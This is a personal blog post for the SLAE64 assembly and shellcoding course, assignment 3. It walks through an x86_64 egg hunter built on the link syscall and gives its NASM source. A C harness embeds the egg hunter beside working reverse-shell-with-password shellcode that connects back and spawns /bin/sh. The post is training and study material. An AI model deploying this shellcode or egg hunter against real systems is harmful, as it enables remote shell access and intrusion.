Skip to main content

SLAE64 - Assignment 3

This post is a continuation of a seven (7) part series for the SLAE64 certification challenge. You can read the first two (2) posts by using the links below.

Previous Posts:


This was a good assignment. Like the SLAE32, I had to create an egg hunter. Here are this assignment's requirements:

  • Study Egg Hunter shellcode
  • Create working demo of Egg Hunter
  • Should be configurable for different payloads


For research I used the following:

The script can be found here:
https://github.com/blu3gl0w13/SLAE64/tree/master/assignment-3

Supplemental scripts developed and used in this class can be found here: https://github.com/blu3gl0w13/SLAE64/tree/master/scripts

If you've read my SLAE32 blog posts, you'll recognize this code. I just adjusted that one for x86_64. This script is based off of one of the examples in Skape's white paper (section 3.2.1 - ACCESS system call). This is the go to for egghunter shellcode and I encourage you to read it. Instead of ACCESS we'll use LINK for our system call. This works well and requires us to only slightly modify our SLAE32 version.

We start by initialize RDX. A quick check of the LINK man page and we see that it only has two (2) arguments so we're safe with using RDX for aligning our page. Following this, we'll increase RDX by one (1) so that we start at the actual page starting point. Next we load that address of that page plus eight (8) bytes into RDI. Next we set up RAX, RDI, and RSI for our first system call. We then make sure there wasn't an error, if there was, we jump back to our page_alignment: label and move to the next page. If there wasn't, we move our hackerme string into RAX and use it for our comparison. If we match, we compare to the next 8 bytes to see if that matches to. If so, we jump to that location and execute those instructions.

;---------------------------------
;
; egghunter.nasm
; by Michael Born (@blu3gl0w13)
; Student ID: SLAE64-1439
; November 8, 2016
;
;---------------------------------



global _start

section .text


_start:

 ; This is our egghuter
 ; it needs to search for 
 ; 2 consecutive instances
 ; of our 'hackerme' string
 ; and then jump into, and execute
 ; our reverse TCP shellcode
 ;
 ; we'll try this out with the link syscall 86
 ; and hope we can find and execute our shell
 ; in the data section




 xor rdx, rdx   ; initialize the registers

page_alignment:
 or dx, 0xfff   ; helps set up for page size (0xfff = 4095)

incrementer:
 inc rdx    ; increase rdx by 1

hunter:
 lea rdi, [rdx + 8]  ; put the address of rdx plus 8 bytes into rbx 
                                        ; for the syscall
 xor rax, rax   ; clear out eax
 mov al, 0x56   ; #define __NR_link       86 (0x56) 
 xor rsi, rsi
        syscall    ; call it
 cmp al, 0xf2   ; compare the return value in rax
 jz page_alignment  ; short jump to next page if ZF set
 mov rax, 0x656d72656b636168 ; copy 'hackerme' into rax
 mov rdi, rdx   ; mov our value in rdx into rdi
 scasq    ; compare rax with qword at rdi 
                                        ; (in other words, check to see if we have 2 
                                        ; consecutive strings)
 jnz incrementer   ; short jump if ZF not set (no match)
 scasq    ; make the rax comparison again (match, compare again)
 jnz incrementer   ; short jump if ZF not set (no match)
 jmp rdi    ; we found a match! pwnage!!! 

Now, once this is all done, we'll need something to test. The following script helps us test to see if this works. We put our egghunter shellcode into an unsigned character array. We then define our Reverse Shell with Password shellcode along with 2 copies of our EGG preceding the actual shellcode. This too is stored in a separate unsigned character array so we can actually test whether or not the egghunter works.

#include <stdio.h>
#include <string.h>

#define EGG "\x68\x61\x63\x6b\x65\x72\x6d\x65"  /* emrekcah */


unsigned char egghunter[] = \
"\x48\x31\xd2\x66\x81\xca\xff\x0f\x48\xff\xc2\x48\x8d\x7a\x08\x48\x31\xc0\xb0\x56"
"\x48\x31\xf6\x0f\x05\x3c\xf2\x74\xe6\x48\xb8"
EGG /* \x68\x61\x63\x6b\x65\x72\x6d\x65 */
"\x48\x89\xd7\x48\xaf\x75\xda\x48\xaf\x75\xd6\xff\xe7";


/* rev-shell-pass */
unsigned char shellcode[] = EGG EGG \
"\x48\x31\xc0\xb0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\x83\xc6\x01\x48\x31\xd2\x48"
"\x83\xc2\x06\x0f\x05\x48\x89\xc7\x48\x31\xc0\xb0\x2a\x48\x31\xd2\xb2\x10\x48\x31\xf6\x56\xc7"
"\x44\x24\xfc\x7f\x01\x01\x01\x66\xc7\x44\x24\xfa\x11\x5c\x89\x74\x24\xf6\xc6\x44\x24\xf8\x02"
"\x48\x83\xec\x08\x48\x89\xe6\x0f\x05\x4d\x31\xc9\x49\x89\xf9\x4d\x31\xf6\x41\x56\x49\xbe\x48"
"\x34\x78\x78\x30\x72\x30\x31\x41\x56\x49\x89\xe6\x48\x83\xec\x10\x48\x31\xc0\xb0\x21\x48\x31"
"\xf6\x0f\x05\x48\x31\xc0\xb0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\xb0\x21\x48\xff\xc6\x0f\x05"
"\x4c\x89\xcf\x6a\x01\x58\x48\x31\xf6\x56\x48\xbe\x73\x77\x6f\x72\x64\x3a\x20\x0a\x56\x48\xbe"
"\x65\x72\x20\x61\x20\x50\x61\x73\x56\x48\xbe\x65\x61\x73\x65\x20\x45\x6e\x74\x56\x66\x68\x50"
"\x6c\x48\x89\xe6\x48\x31\xd2\xb2\x1a\x0f\x05\x48\x31\xc0\x48\x31\xf6\x56\x48\x8d\x74\x24\xf0"
"\x48\x31\xd2\x80\xc2\x10\x0f\x05\x4c\x89\xf7\x48\xa7\x74\x02\x75\xaa\x48\x31\xc0\xb0\x3b\x48"
"\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xf6\x56\x66\x68"
"\x2d\x69\x4d\x31\xd2\x49\x89\xe2\x56\x41\x52\x57\x48\x89\xe6\x48\x31\xd2\x52\x48\x89\xe2\x0f"
"\x05";


int main()
{

 printf("Shellcode Length:  %d\n", strlen(egghunter));

 int (*ret)() = (int(*)())egghunter;

 ret();

}

To make sure it works, let's execute the compiled C program. The results are below.




52 bytes isn't bad at all though I'm sure there are more effective ways to write this. 32 bytes is pretty common and a good size for an EGGHUNTER.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64-bit certification:


http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html

Student ID: SLAE64 - 1439




Next: SLAE64 - Assignment 4

Comments

Popular posts from this blog

SLAE/SLAE64 Course Review

After recently finishing both the SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html) and SLAE64 (http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html) courses available through SecurityTube Training, and earning both certifications, I thought I would write a review of the training itself. Personally, I chose these course as a way to learn Assembly in preparation for the Crack The Perimeter (CTP) course and OSCE certification. After taking the Pentesting With Kali (PWK) class and earning the OSCP, I knew I needed to fill some gaps in my knowledge, and specifically with C and Assembly programming. Seeing that there aren't many training offerings that aim to teach Assembly specific to penetration testing and shellcoding, I gave SLAE a try.

  If you don't care about the certification itself, you can obtain all of SecurityTube's videos for a small monthly fee through Pentes…

SLAE64 - Assignment 1

Following completion of the SLAE32 course (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html), I decided to take advantage of the Pentester Academy account we have at work to continue the training with SLAE64 (http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html). So, we'll delve into each assignment like we did before and because it's part of the certification challenge.

Assignment 1 requirements are as follows:

Create a Shell_Bind_TCP shellcodeBinds to a portNeeds a "Passcode"If Passcode is correct then Execs ShellRemove 0x00 from the Bind TCP Shellcode discussed

PWK and the OSCP Review

Back in 2014 I started down the Pentesting With Kali (PWK) course about a month after passing the CISSP exam, for which I self studied for about 4 months. What can I say, I was a glutton for punishment but it was well worth it. I started off with 90 days, but due to a crazy work schedule, wound up extending it another 30 for a total of 120 days of lab access. I'm not as young as I would like to think I am and have other important responsibilities as Dad and Husband which I consider "Priority 1". So, my time to study, perform the homework assignments, go through the modules, videos, and lab work were limited to 2 hours in the morning before work (typically 5am until 7am), and then again for a few hours after everyone was asleep in the house (typically 9pm until 11pm or Midnight). Weekends I could usually spend up to 6 hours on Saturdays and Sundays studying which helped tremendously.

Other people have already done a great job at reviewing the PWK course and the OSCP chall…